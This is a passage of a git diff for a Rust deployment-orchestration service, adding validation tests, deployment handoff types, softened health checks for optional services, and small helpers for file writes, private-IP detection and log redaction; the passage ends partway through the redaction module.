+    fn configure_proxy_parameters_strip_legacy_npm_overrides() {
+        let npm_credentials = fixture("npm_credentials.v1_email_password.json");
+        let params = validate_command_parameters(
+            "configure_proxy",
+            &Some(json!({
+                "app_code": "wordpress",
+                "domain_names": ["wordpress.example.com"],
+                "forward_port": 80,
+                "npm_host": npm_credentials["host"],
+                "npm_email": npm_credentials["email"],
+                "npm_password": npm_credentials["password"],
+            })),
+        )
+        .expect("configure_proxy params should validate")
+        .expect("configure_proxy params should be present");
+
+        assert!(params.get("npm_host").is_none());
+        assert!(params.get("npm_email").is_none());
+        assert!(params.get("npm_password").is_none());
+    }
+
     #[test]
     fn probe_endpoints_result_with_sample_response() {
         let result = validate_command_result(
@@ -1581,6 +2134,59 @@ mod tests {
         assert_eq!(sample["author"], 42);
     }
 
+    #[test]
+    fn probe_endpoints_result_accepts_local_resources_and_containers() {
+        let result = validate_command_result(
+            "probe_endpoints",
+            "local",
+            &Some(json!({
+                "type": "probe_endpoints",
+                "deployment_hash": "local",
+                "app_code": "device-api",
+                "protocols_detected": ["openapi", "postgres"],
+                "containers": [{
+                    "name": "local-device-api-1",
+                    "image": "example/device-api:local",
+                    "network": "app-network",
+                    "ports": [],
+                    "addresses": ["172.18.0.20:5050"]
+                }],
+                "endpoints": [{
+                    "protocol": "openapi",
+                    "base_url": "http://172.18.0.20:5050",
+                    "spec_url": "/openapi.json",
+                    "operations": [{
+                        "path": "/devices",
+                        "method": "GET",
+                        "summary": "List devices",
+                        "fields": ["id", "name"]
+                    }]
+                }],
+                "resources": [{
+                    "container": "local-postgres-1",
+                    "protocol": "postgres",
+                    "address": "postgres://postgres@172.18.0.10:5432/app",
+                    "items": [{
+                        "resource_type": "table",
+                        "name": "public.devices",
+                        "summary": "CDC candidate",
+                        "fields": ["id", "name"]
+                    }]
+                }],
+                "forms": [],
+                "probed_at": "2026-04-17T18:00:00Z"
+            })),
+        );
+        assert!(result.is_ok());
+        let payload = result.unwrap().unwrap();
+        assert_eq!(payload["containers"][0]["name"], "local-device-api-1");
+        assert_eq!(payload["resources"][0]["protocol"], "postgres");
+        assert_eq!(
+            payload["resources"][0]["items"][0]["name"],
+            "public.devices"
+        );
+    }
+
     #[test]
     fn trigger_pipe_result_with_trigger_type() {
         let result = validate_command_result(
@@ -1601,6 +2207,31 @@ mod tests {
     }
 
     #[test]
+    fn trigger_pipe_success_result_accepts_shared_fixture() {
+        let result = validate_command_result(
+            "trigger_pipe",
+            "dep-123",
+            &Some(fixture("trigger_pipe.success.report.json")),
+        );
+        assert!(result.is_ok());
+        let payload = result.unwrap().unwrap();
+        assert_eq!(payload["lifecycle"]["state"], "active");
+        assert_eq!(payload["target_response"]["transport"], "http");
+    }
+
+    #[test]
+    fn trigger_pipe_failure_result_accepts_shared_fixture() {
+        let result = validate_command_result(
+            "trigger_pipe",
+            "dep-123",
+            &Some(fixture("trigger_pipe.failure.report.json")),
+        );
+        assert!(result.is_ok());
+        let payload = result.unwrap().unwrap();
+        assert_eq!(payload["success"], false);
+        assert_eq!(payload["lifecycle"]["state"], "failed");
+    }
+
     #[test]
     fn trigger_pipe_result_rejects_invalid_trigger_type() {
         let result = validate_command_result(
@@ -1636,6 +2267,33 @@ mod tests {
         assert!(result.is_ok());
     }
 
+    #[test]
+    fn trigger_pipe_replay_result_accepts_shared_fixture() {
+        let result = validate_command_result(
+            "trigger_pipe",
+            "dep-123",
+            &Some(fixture("trigger_pipe.replay.report.json")),
+        );
+        assert!(result.is_ok());
+        let payload = result.unwrap().unwrap();
+        assert_eq!(payload["trigger_type"], "replay");
+        assert_eq!(payload["lifecycle"]["trigger_count"], 2);
+    }
+
+    #[test]
+    fn trigger_pipe_smtp_adapter_result_accepts_shared_fixture() {
+        let result = validate_command_result(
+            "trigger_pipe",
+            "dep-123",
+            &Some(fixture("trigger_pipe.smtp_adapter.report.json")),
+        );
+        assert!(result.is_ok());
+        let payload = result.expect("fixture should validate").expect("payload");
+        assert_eq!(payload["target_response"]["transport"], "smtp");
+        assert_eq!(payload["target_response"]["adapter"], "smtp");
+        assert_eq!(payload["target_response"]["delivered"], true);
+    }
+
     #[test]
     fn trigger_pipe_result_trigger_type_defaults_manual() {
         let result = validate_command_result(
diff --git a/src/forms/user.rs b/src/forms/user.rs
index 4ef5954f..4de809d0 100644
--- a/src/forms/user.rs
+++ b/src/forms/user.rs
@@ -25,6 +25,10 @@ pub struct User {
     pub email: String,
     #[serde(rename = "email_confirmed")]
     pub email_confirmed: bool,
+    #[serde(default, alias = "mfaVerified", alias = "mfa_verified")]
+    pub mfa_verified: Option<bool>,
+    #[serde(default, alias = "twoFactorVerified", alias = "two_factor_verified")]
+    pub two_factor_verified: Option<bool>,
     pub social: Option<bool>,
     pub website: Option<String>,
     pub currency: Value,
@@ -135,6 +139,8 @@ impl TryInto<UserModel> for UserForm {
             email: self.user.email,
             email_confirmed: self.user.email_confirmed,
             role: self.user.role,
+            mfa_verified: self.user.mfa_verified.unwrap_or(false)
+                || self.user.two_factor_verified.unwrap_or(false),
             access_token: None,
         })
     }
diff --git a/src/handoff.rs b/src/handoff.rs
new file mode 100644
index 00000000..03519a7f
--- /dev/null
+++ b/src/handoff.rs
@@ -0,0 +1,129 @@
+use chrono::{DateTime, Utc};
+use serde::{Deserialize, Serialize};
+
+#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq, Default)]
+#[serde(rename_all = "snake_case")]
+pub enum DeploymentHandoffKind {
+    #[default]
+    Deployment,
+    Account,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
+pub struct DeploymentHandoffProject {
+    pub id: i32,
+    pub name: String,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub identity: Option<String>,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
+pub struct DeploymentHandoffDeployment {
+    pub id: i32,
+    pub hash: String,
+    pub target: String,
+    pub status: String,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
+pub struct DeploymentHandoffServer {
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub ip: Option<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub ssh_user: Option<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub ssh_port: Option<u16>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub name: Option<String>,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
+pub struct DeploymentHandoffCloud {
+    pub id: i32,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub provider: Option<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub region: Option<String>,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
+pub struct DeploymentHandoffAgent {
+    pub base_url: String,
+    pub deployment_hash: String,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
+pub struct DeploymentHandoffCredentials {
+    pub access_token: String,
+    pub token_type: String,
+    pub expires_at: DateTime<Utc>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub email: Option<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub server_url: Option<String>,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
+pub struct DeploymentHandoffPayload {
+    #[serde(default)]
+    pub kind: DeploymentHandoffKind,
+    pub version: u32,
+    pub expires_at: DateTime<Utc>,
+    pub project: DeploymentHandoffProject,
+    pub deployment: DeploymentHandoffDeployment,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub server: Option<DeploymentHandoffServer>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub cloud: Option<DeploymentHandoffCloud>,
+    pub lockfile: serde_json::Value,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub stacker_yml: Option<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub agent: Option<DeploymentHandoffAgent>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub credentials: Option<DeploymentHandoffCredentials>,
+}
+
+impl DeploymentHandoffPayload {
+    pub fn is_account_scoped(&self) -> bool {
+        self.kind == DeploymentHandoffKind::Account
+    }
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
+pub struct DeploymentHandoffLink {
+    pub token: String,
+    pub url: String,
+    pub expires_at: DateTime<Utc>,
+}
+
+impl DeploymentHandoffLink {
+    pub fn is_expired(&self) -> bool {
+        self.is_expired_at(Utc::now())
+    }
+
+    pub fn is_expired_at(&self, now: DateTime<Utc>) -> bool {
+        now >= self.expires_at
+    }
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Default)]
+pub struct DeploymentHandoffMintRequest {
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub deployment_id: Option<i32>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub deployment_hash: Option<String>,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
+pub struct DeploymentHandoffMintResponse {
+    pub token: String,
+    pub url: String,
+    pub command: String,
+    pub expires_at: DateTime<Utc>,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
+pub struct DeploymentHandoffResolveRequest {
+    pub token: String,
+}
diff --git a/src/health/checks.rs b/src/health/checks.rs
index cf38ddff..872f95b3 100644
--- a/src/health/checks.rs
+++ b/src/health/checks.rs
@@ -157,18 +157,27 @@ impl HealthChecker {
                         health.with_details(details)
                     }
                     Err(e) => {
-                        tracing::error!("Failed to create RabbitMQ channel: {:?}", e);
-                        ComponentHealth::unhealthy(format!("RabbitMQ channel error: {}", e))
+                        tracing::warn!("Failed to create RabbitMQ channel: {:?}", e);
+                        ComponentHealth::degraded(
+                            format!("RabbitMQ optional service unavailable: {}", e),
+                            None,
+                        )
                     }
                 },
                 Err(e) => {
-                    tracing::error!("Failed to get RabbitMQ connection: {:?}", e);
-                    ComponentHealth::unhealthy(format!("RabbitMQ connection error: {}", e))
+                    tracing::warn!("Failed to get RabbitMQ connection: {:?}", e);
+                    ComponentHealth::degraded(
+                        format!("RabbitMQ optional service unavailable: {}", e),
+                        None,
+                    )
                 }
             },
             Err(e) => {
-                tracing::error!("Failed to create RabbitMQ pool: {:?}", e);
-                ComponentHealth::unhealthy(format!("RabbitMQ config error: {}", e))
+                tracing::warn!("Failed to create RabbitMQ pool: {:?}", e);
+                ComponentHealth::degraded(
+                    format!("RabbitMQ optional service unavailable: {}", e),
+                    None,
+                )
             }
         }
     }
@@ -205,20 +214,26 @@ impl HealthChecker {
 
                         health.with_details(details)
                     } else {
-                        ComponentHealth::unhealthy(format!(
-                            "Docker Hub returned status: {}",
-                            response.status()
-                        ))
+                        ComponentHealth::degraded(
+                            format!(
+                                "Docker Hub returned status: {} (optional service)",
+                                response.status()
+                            ),
+                            Some(start.elapsed().as_millis() as u64),
+                        )
                     }
                 }
                 Err(e) => {
                     tracing::warn!("Docker Hub health check failed: {:?}", e);
-                    ComponentHealth::unhealthy(format!("Docker Hub error: {}", e))
+                    ComponentHealth::degraded(
+                        format!("Docker Hub optional service unavailable: {}", e),
+                        None,
+                    )
                 }
             },
             Err(e) => {
-                tracing::error!("Failed to create HTTP client: {:?}", e);
-                ComponentHealth::unhealthy(format!("HTTP client error: {}", e))
+                tracing::warn!("Failed to create HTTP client for Docker Hub: {:?}", e);
+                ComponentHealth::degraded(format!("HTTP client error: {}", e), None)
             }
         }
     }
@@ -405,20 +420,26 @@ impl HealthChecker {
 
                             health.with_details(details)
                         }
-                        _ => ComponentHealth::unhealthy(format!(
-                            "User Service returned status: {}",
-                            status_code
-                        )),
+                        _ => ComponentHealth::degraded(
+                            format!(
+                                "User Service returned status: {} (optional service)",
+                                status_code
+                            ),
+                            Some(elapsed),
+                        ),
                     }
                 }
                 Err(e) => {
                     tracing::warn!("User Service health check failed: {:?}", e);
-                    ComponentHealth::unhealthy(format!("User Service error: {}", e))
+                    ComponentHealth::degraded(
+                        format!("User Service optional service unavailable: {}", e),
+                        None,
+                    )
                 }
             },
             Err(e) => {
-                tracing::error!("Failed to create HTTP client for User Service: {:?}", e);
-                ComponentHealth::unhealthy(format!("HTTP client error: {}", e))
+                tracing::warn!("Failed to create HTTP client for User Service: {:?}", e);
+                ComponentHealth::degraded(format!("HTTP client error: {}", e), None)
             }
         }
     }
@@ -462,20 +483,26 @@ impl HealthChecker {
 
                             health.with_details(details)
                         }
-                        _ => ComponentHealth::unhealthy(format!(
-                            "Install Service returned status: {}",
-                            status_code
-                        )),
+                        _ => ComponentHealth::degraded(
+                            format!(
+                                "Install Service returned status: {} (optional service)",
+                                status_code
+                            ),
+                            Some(elapsed),
+                        ),
                     }
                 }
                 Err(e) => {
                     tracing::warn!("Install Service health check failed: {:?}", e);
-                    ComponentHealth::unhealthy(format!("Install Service error: {}", e))
+                    ComponentHealth::degraded(
+                        format!("Install Service optional service unavailable: {}", e),
+                        None,
+                    )
                 }
             },
             Err(e) => {
-                tracing::error!("Failed to create HTTP client for Install Service: {:?}", e);
-                ComponentHealth::unhealthy(format!("HTTP client error: {}", e))
+                tracing::warn!("Failed to create HTTP client for Install Service: {:?}", e);
+                ComponentHealth::degraded(format!("HTTP client error: {}", e), None)
             }
         }
     }
diff --git a/src/health/models.rs b/src/health/models.rs
index 7271c4d9..c10db51a 100644
--- a/src/health/models.rs
+++ b/src/health/models.rs
@@ -91,4 +91,11 @@ impl HealthCheckResponse {
     pub fn is_healthy(&self) -> bool {
         self.status == ComponentStatus::Healthy
     }
+
+    /// Returns true when the service can handle requests, even if some optional
+    /// dependencies are unavailable (Degraded). Only Unhealthy (core DB down)
+    /// returns false here.
+    pub fn is_operational(&self) -> bool {
+        self.status != ComponentStatus::Unhealthy
+    }
 }
diff --git a/src/helpers/agent_capabilities.rs b/src/helpers/agent_capabilities.rs
new file mode 100644
index 00000000..c29440a6
--- /dev/null
+++ b/src/helpers/agent_capabilities.rs
@@ -0,0 +1,65 @@
+use serde_json::Value;
+
+pub const NPM_CREDENTIAL_SOURCE_KEY: &str = "npm_credential_source";
+pub const NPM_CREDENTIAL_SOURCE_VAULT: &str = "npm_credential_source=vault";
+
+pub fn extract_capabilities(value: Option<Value>) -> Vec<String> {
+    value
+        .and_then(|val| serde_json::from_value::<Vec<String>>(val).ok())
+        .unwrap_or_default()
+}
+
+pub fn has_capability(capabilities: &[String], required: &str) -> bool {
+    capabilities.iter().any(|capability| capability == required)
+}
+
+pub fn capability_value<'a>(capabilities: &'a [String], key: &str) -> Option<&'a str> {
+    capabilities.iter().find_map(|capability| {
+        capability
+            .split_once('=')
+            .or_else(|| capability.split_once(':'))
+            .and_then(|(candidate_key, candidate_value)| {
+                (candidate_key == key).then_some(candidate_value)
+            })
+    })
+}
+
+pub fn has_capability_value(capabilities: &[String], key: &str, expected: &str) -> bool {
+    capability_value(capabilities, key) == Some(expected)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn extracts_capabilities_from_json_array() {
+        let capabilities = extract_capabilities(Some(serde_json::json!(["docker", "logs"])));
+        assert_eq!(capabilities, vec!["docker".to_string(), "logs".to_string()]);
+    }
+
+    #[test]
+    fn returns_empty_when_capabilities_missing() {
+        assert!(extract_capabilities(None).is_empty());
+    }
+
+    #[test]
+    fn finds_key_value_capabilities_with_equals_or_colon() {
+        let capabilities = vec![
+            "docker".to_string(),
+            "npm_credential_source=vault".to_string(),
+            "proxy_owner:true".to_string(),
+        ];
+
+        assert_eq!(
+            capability_value(&capabilities, NPM_CREDENTIAL_SOURCE_KEY),
+            Some("vault")
+        );
+        assert_eq!(capability_value(&capabilities, "proxy_owner"), Some("true"));
+        assert!(has_capability_value(
+            &capabilities,
+            NPM_CREDENTIAL_SOURCE_KEY,
+            "vault"
+        ));
+    }
+}
diff --git a/src/helpers/env_path.rs b/src/helpers/env_path.rs
new file mode 100644
index 00000000..5012ce46
--- /dev/null
+++ b/src/helpers/env_path.rs
@@ -0,0 +1,38 @@
+pub const REMOTE_RUNTIME_ENV_PATH: &str = "/home/trydirect/project/.env";
+pub const REMOTE_RUNTIME_ENV_FILE: &str = ".env";
+pub const REMOTE_RUNTIME_COMPOSE_PATH: &str = "/home/trydirect/project/docker-compose.yml";
+
+pub fn remote_runtime_env_path() -> &'static str {
+    REMOTE_RUNTIME_ENV_PATH
+}
+
+pub fn compose_env_file_reference() -> &'static str {
+    REMOTE_RUNTIME_ENV_FILE
+}
+
+pub fn remote_runtime_compose_path() -> &'static str {
+    REMOTE_RUNTIME_COMPOSE_PATH
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn remote_runtime_env_path_is_canonical() {
+        assert_eq!(remote_runtime_env_path(), "/home/trydirect/project/.env");
+    }
+
+    #[test]
+    fn compose_env_file_reference_is_relative() {
+        assert_eq!(compose_env_file_reference(), ".env");
+    }
+
+    #[test]
+    fn remote_runtime_compose_path_is_canonical() {
+        assert_eq!(
+            remote_runtime_compose_path(),
+            "/home/trydirect/project/docker-compose.yml"
+        );
+    }
+}
diff --git a/src/helpers/fs.rs b/src/helpers/fs.rs
new file mode 100644
index 00000000..0b7ecede
--- /dev/null
+++ b/src/helpers/fs.rs
@@ -0,0 +1,91 @@
+use std::fs::{self, File};
+use std::io::{self, Write};
+use std::path::Path;
+
+#[cfg(unix)]
+use std::os::unix::fs::PermissionsExt;
+
+/// Write bytes to `path` through a sibling temporary file and atomic rename.
+pub fn write_atomic(path: &Path, bytes: &[u8], mode: u32) -> io::Result<()> {
+    let parent = path
+        .parent()
+        .filter(|parent| !parent.as_os_str().is_empty())
+        .unwrap_or_else(|| Path::new("."));
+
+    fs::create_dir_all(parent)?;
+
+    let mut tmp = tempfile::Builder::new()
+        .prefix(".stacker-write-")
+        .tempfile_in(parent)?;
+    tmp.write_all(bytes)?;
+    tmp.as_file().sync_all()?;
+
+    #[cfg(unix)]
+    tmp.as_file()
+        .set_permissions(fs::Permissions::from_mode(mode))?;
+
+    let (_, tmp_path) = tmp.keep()?;
+    fs::rename(&tmp_path, path)?;
+    sync_parent_dir(parent)
+}
+
+#[cfg(unix)]
+fn sync_parent_dir(parent: &Path) -> io::Result<()> {
+    File::open(parent)?.sync_all()
+}
+
+#[cfg(not(unix))]
+fn sync_parent_dir(_parent: &Path) -> io::Result<()> {
+    Ok(())
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[cfg(unix)]
+    use std::os::unix::fs::PermissionsExt;
+
+    #[test]
+    fn write_atomic_writes_bytes() {
+        let dir = tempfile::TempDir::new().unwrap();
+        let path = dir.path().join("config.env");
+
+        write_atomic(&path, b"KEY=value\n", 0o600).unwrap();
+
+        assert_eq!(fs::read_to_string(path).unwrap(), "KEY=value\n");
+    }
+
+    #[test]
+    fn write_atomic_replaces_existing_file() {
+        let dir = tempfile::TempDir::new().unwrap();
+        let path = dir.path().join("config.env");
+
+        write_atomic(&path, b"OLD=value\n", 0o600).unwrap();
+        write_atomic(&path, b"NEW=value\n", 0o600).unwrap();
+
+        assert_eq!(fs::read_to_string(path).unwrap(), "NEW=value\n");
+    }
+
+    #[test]
+    fn write_atomic_creates_parent_directory() {
+        let dir = tempfile::TempDir::new().unwrap();
+        let path = dir.path().join("nested").join("config.env");
+
+        write_atomic(&path, b"KEY=value\n", 0o600).unwrap();
+
+        assert_eq!(fs::read_to_string(path).unwrap(), "KEY=value\n");
+    }
+
+    #[test]
+    #[cfg(unix)]
+    fn write_atomic_sets_mode() {
+        let dir = tempfile::TempDir::new().unwrap();
+        let path = dir.path().join("config.env");
+
+        write_atomic(&path, b"KEY=value\n", 0o600).unwrap();
+
+        let mode = fs::metadata(path).unwrap().permissions().mode() & 0o777;
+        assert_eq!(mode, 0o600);
+    }
+}
diff --git a/src/helpers/ip.rs b/src/helpers/ip.rs
new file mode 100644
index 00000000..cfd8f5a5
--- /dev/null
+++ b/src/helpers/ip.rs
@@ -0,0 +1,104 @@
+/// Returns `true` when `addr` is an RFC1918 / loopback / link-local address
+/// that the Stacker cloud install service cannot reach from the internet.
+///
+/// Also treats bare hostnames (no dots) and `.local` / `.lan` / `.internal`
+/// suffixes as private, since those only resolve on the local network.
+pub fn is_private_host(addr: &str) -> bool {
+    if addr.is_empty() {
+        return false;
+    }
+    use std::net::IpAddr;
+    if let Ok(ip) = addr.parse::<IpAddr>() {
+        return match ip {
+            IpAddr::V4(v4) => {
+                v4.is_loopback()
+                    || v4.is_link_local()
+                    || v4.octets()[0] == 10
+                    || (v4.octets()[0] == 172 && (16..=31).contains(&v4.octets()[1]))
+                    || (v4.octets()[0] == 192 && v4.octets()[1] == 168)
+            }
+            IpAddr::V6(v6) => v6.is_loopback(),
+        };
+    }
+    !addr.contains('.')
+        || addr.ends_with(".local")
+        || addr.ends_with(".internal")
+        || addr.ends_with(".lan")
+}
+
+pub(crate) fn extract_ipv4_from_text(text: &str) -> Option<String> {
+    text.split(|c: char| !(c.is_ascii_digit() || c == '.'))
+        .find_map(|candidate| {
+            let trimmed = candidate.trim_matches('.');
+            if trimmed.parse::<std::net::Ipv4Addr>().is_ok() {
+                Some(trimmed.to_string())
+            } else {
+                None
+            }
+        })
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    // ── is_private_host ──────────────────────────────────────────────────────
+
+    #[test]
+    fn private_rfc1918_addresses_are_private() {
+        assert!(is_private_host("192.168.100.245"));
+        assert!(is_private_host("192.168.1.1"));
+        assert!(is_private_host("10.0.0.1"));
+        assert!(is_private_host("10.255.255.255"));
+        assert!(is_private_host("172.16.0.1"));
+        assert!(is_private_host("172.31.255.255"));
+        assert!(is_private_host("127.0.0.1"));
+    }
+
+    #[test]
+    fn private_hostnames_are_private() {
+        assert!(is_private_host("myserver.local"));
+        assert!(is_private_host("host.internal"));
+        assert!(is_private_host("box.lan"));
+        assert!(is_private_host("localhost"));
+    }
+
+    #[test]
+    fn empty_string_is_not_private() {
+        assert!(!is_private_host(""));
+    }
+
+    #[test]
+    fn public_ips_are_not_private() {
+        assert!(!is_private_host("203.0.113.10"));
+        assert!(!is_private_host("1.2.3.4"));
+        assert!(!is_private_host("178.104.222.170"));
+        assert!(!is_private_host("8.8.8.8"));
+    }
+
+    #[test]
+    fn public_hostnames_are_not_private() {
+        assert!(!is_private_host("example.com"));
+        assert!(!is_private_host("my-server.example.com"));
+        assert!(!is_private_host("hetzner.cloud"));
+    }
+
+    // ── extract_ipv4_from_text ───────────────────────────────────────────────
+
+    #[test]
+    fn extracts_ipv4_from_status_message_prefix() {
+        assert_eq!(
+            extract_ipv4_from_text("178.104.222.170: Copy files is done"),
+            Some("178.104.222.170".to_string())
+        );
+    }
+
+    #[test]
+    fn ignores_text_without_valid_ipv4() {
+        assert_eq!(extract_ipv4_from_text("Deployment still in progress"), None);
+        assert_eq!(
+            extract_ipv4_from_text("invalid 999.104.222.170: message"),
+            None
+        );
+    }
+}
diff --git a/src/helpers/json.rs b/src/helpers/json.rs
index 44469268..822d0dbb 100644
--- a/src/helpers/json.rs
+++ b/src/helpers/json.rs
@@ -96,6 +96,13 @@ where
         ErrorForbidden(self.set_msg(msg).to_string())
     }
 
+    /// HTTP 402 Payment Required — used by the per-install billing gate
+    /// when a template requires payment and the user has no viable payment
+    /// method (or an authorize was declined by user_service).
+    pub(crate) fn payment_required<I: Into<String>>(self, msg: I) -> Error {
+        actix_web::error::ErrorPaymentRequired(self.set_msg(msg).to_string())
+    }
+
     pub(crate) fn conflict<I: Into<String>>(self, msg: I) -> Error {
         actix_web::error::ErrorConflict(self.set_msg(msg).to_string())
     }
diff --git a/src/helpers/mod.rs b/src/helpers/mod.rs
index d29821d0..78e64311 100644
--- a/src/helpers/mod.rs
+++ b/src/helpers/mod.rs
@@ -1,15 +1,19 @@
+pub mod agent_capabilities;
 pub mod agent_client;
 pub mod client;
 pub mod db_pools;
 pub(crate) mod json;
 pub mod mq_manager;
 pub mod project;
+pub mod redact;
 pub mod security_validator;
 pub mod ssh_client;
 pub mod vault;
 
+pub use agent_capabilities::*;
 pub use agent_client::*;
 pub use db_pools::*;
+pub use env_path::*;
 pub use json::*;
 pub use mq_manager::*;
 pub use ssh_client::*;
@@ -17,6 +21,10 @@ pub use vault::*;
 pub(crate) mod cloud;
 pub(crate) mod compressor;
 pub mod dockerhub;
+pub mod env_path;
+pub mod fs;
+pub(crate) mod ip;
+pub mod stacker_labels;
 
 pub use dockerhub::*;
 
diff --git a/src/helpers/mq_manager.rs b/src/helpers/mq_manager.rs
index 6729636e..e7e31c1c 100644
--- a/src/helpers/mq_manager.rs
+++ b/src/helpers/mq_manager.rs
@@ -170,7 +170,10 @@ impl MqManager {
             )
             .await
             .map_err(|err| {
-                let msg = format!("binding queue '{}' to exchange '{}': {:?}", queue_name, exchange_name, err);
+                let msg = format!(
+                    "binding queue '{}' to exchange '{}': {:?}",
+                    queue_name, exchange_name, err
+                );
                 tracing::error!(msg);
                 msg
             })?;
diff --git a/src/helpers/project/builder.rs b/src/helpers/project/builder.rs
index 93d2d2c2..2456877b 100644
--- a/src/helpers/project/builder.rs
+++ b/src/helpers/project/builder.rs
@@ -3,6 +3,7 @@ use crate::models;
 use docker_compose_types as dctypes;
 use indexmap::IndexMap;
 use serde::{Deserialize, Serialize};
+use serde_json::{json, Value as JsonValue};
 use serde_yaml;
 // use crate::helpers::project::*;
 
@@ -31,6 +32,8 @@ pub struct ExtractedService {
     pub entrypoint: Option<String>,
     /// Labels
     pub labels: IndexMap<String, String>,
+    /// Healthcheck definition normalized into ProjectApp JSON shape.
+    pub healthcheck: Option<JsonValue>,
 }
 
 /// Parse a docker-compose.yml string and extract all service definitions
@@ -149,6 +152,8 @@ pub fn parse_compose_services(compose_yaml: &str) -> Result<Vec<ExtractedService
             dctypes::Labels::Map(map) => map.clone(),
         };
 
+        let healthcheck = extract_healthcheck(&service.healthcheck);
+
         services.push(ExtractedService {
             name: name.clone(),
             image,
@@ -161,12 +166,84 @@ pub fn parse_compose_services(compose_yaml: &str) -> Result<Vec<ExtractedService
             command,
             entrypoint,
             labels,
+            healthcheck,
         });
     }
 
     Ok(services)
 }
 
+fn extract_healthcheck(healthcheck: &Option<dctypes::Healthcheck>) -> Option<JsonValue> {
+    let healthcheck = healthcheck.as_ref()?;
+    if healthcheck.disable {
+        return None;
+    }
+
+    let test = match &healthcheck.test {
+        Some(dctypes::HealthcheckTest::Single(command)) => vec![command.clone()],
+        Some(dctypes::HealthcheckTest::Multiple(commands)) => commands.clone(),
+        None => Vec::new(),
+    };
+
+    if test.is_empty() {
+        return None;
+    }
+
+    let mut map = serde_json::Map::new();
+    map.insert("test".to_string(), json!(test));
+
+    if let Some(interval) = &healthcheck.interval {
+        map.insert("interval".to_string(), json!(interval));
+    }
+    if let Some(timeout) = &healthcheck.timeout {
+        map.insert("timeout".to_string(), json!(timeout));
+    }
+    if healthcheck.retries > 0 {
+        map.insert("retries".to_string(), json!(healthcheck.retries));
+    }
+    if let Some(start_period) = &healthcheck.start_period {
+        map.insert("start_period".to_string(), json!(start_period));
+    }
+
+    Some(JsonValue::Object(map))
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn parse_compose_services_extracts_healthcheck() {
+        let compose = r#"
+services:
+  api:
+    image: nginx:latest
+    healthcheck:
+      test: ["CMD", "curl", "-f", "http://localhost/health"]
+      interval: 30s
+      timeout: 5s
+      retries: 3
+      start_period: 10s
+"#;
+
+        let services = parse_compose_services(compose).expect("compose should parse");
+        let service = services.first().expect("service should exist");
+        let healthcheck = service
+            .healthcheck
+            .as_ref()
+            .expect("healthcheck should be extracted");
+
+        assert_eq!(
+            healthcheck["test"],
+            json!(["CMD", "curl", "-f", "http://localhost/health"])
+        );
+        assert_eq!(healthcheck["interval"], json!("30s"));
+        assert_eq!(healthcheck["timeout"], json!("5s"));
+        assert_eq!(healthcheck["retries"], json!(3));
+        assert_eq!(healthcheck["start_period"], json!("10s"));
+    }
+}
+
 /// A builder for constructing docker compose.
 #[derive(Clone, Debug)]
 pub struct DcBuilder {
@@ -212,6 +289,10 @@ impl DcBuilder {
         let serialized = serde_yaml::to_string(&compose_content)
             .map_err(|err| format!("Failed to serialize docker-compose file: {}", err))?;
 
+        if let Some(parent) = target_file.parent() {
+            std::fs::create_dir_all(parent)
+                .map_err(|err| format!("Failed to create files directory: {}", err))?;
+        }
         std::fs::write(target_file, serialized.clone()).map_err(|err| format!("{}", err))?;
 
         Ok(serialized)
diff --git a/src/helpers/redact.rs b/src/helpers/redact.rs
new file mode 100644
index 00000000..f3345a6e
--- /dev/null
+++ b/src/helpers/redact.rs
@@ -0,0 +1,246 @@
+fn is_sensitive_key(key: &str) -> bool {
+    let k = key.to_lowercase();
+    k.contains("password")
+        || k.contains("passwd")
+        || k.contains("pwd")
+        || k.contains("secret")
+        || k.contains("api_key")
+        || k.contains("apikey")
+        || k.contains("private_key")
+        || k.contains("access_key")
+        || k.contains("auth_key")
+}
+
+// ─── JSON redaction ───────────────────────────────────────────────────────────
+
+/// Recursively walks a JSON value and replaces sensitive data with `"***REDACTED***"`.
+///
+/// Two patterns are handled:
+///
+/// 1. **Direct key** — the JSON object key itself is the sensitive name:
+///    `{"DB_PASSWORD": "secret"}` → value is redacted.
+///
+/// 2. **Key-value pair** — the stack_definition vars format used by ProjectForm:
+///    `{"key": "DB_PASSWORD", "value": "secret"}` → "value" field is redacted when
+///    the string stored in "key" matches a sensitive pattern.
+///
+/// Null values are never replaced. Key names and array order are preserved.
+pub fn redact_sensitive_json_values(value: &mut serde_json::Value) {
+    match value {
+        serde_json::Value::Object(map) => {
+            // Pattern 2: {"key": "<sensitive_name>", "value": "<data>"}
+            // This is the format used for env var entries in stack_definition.
+            let named_key_is_sensitive = map
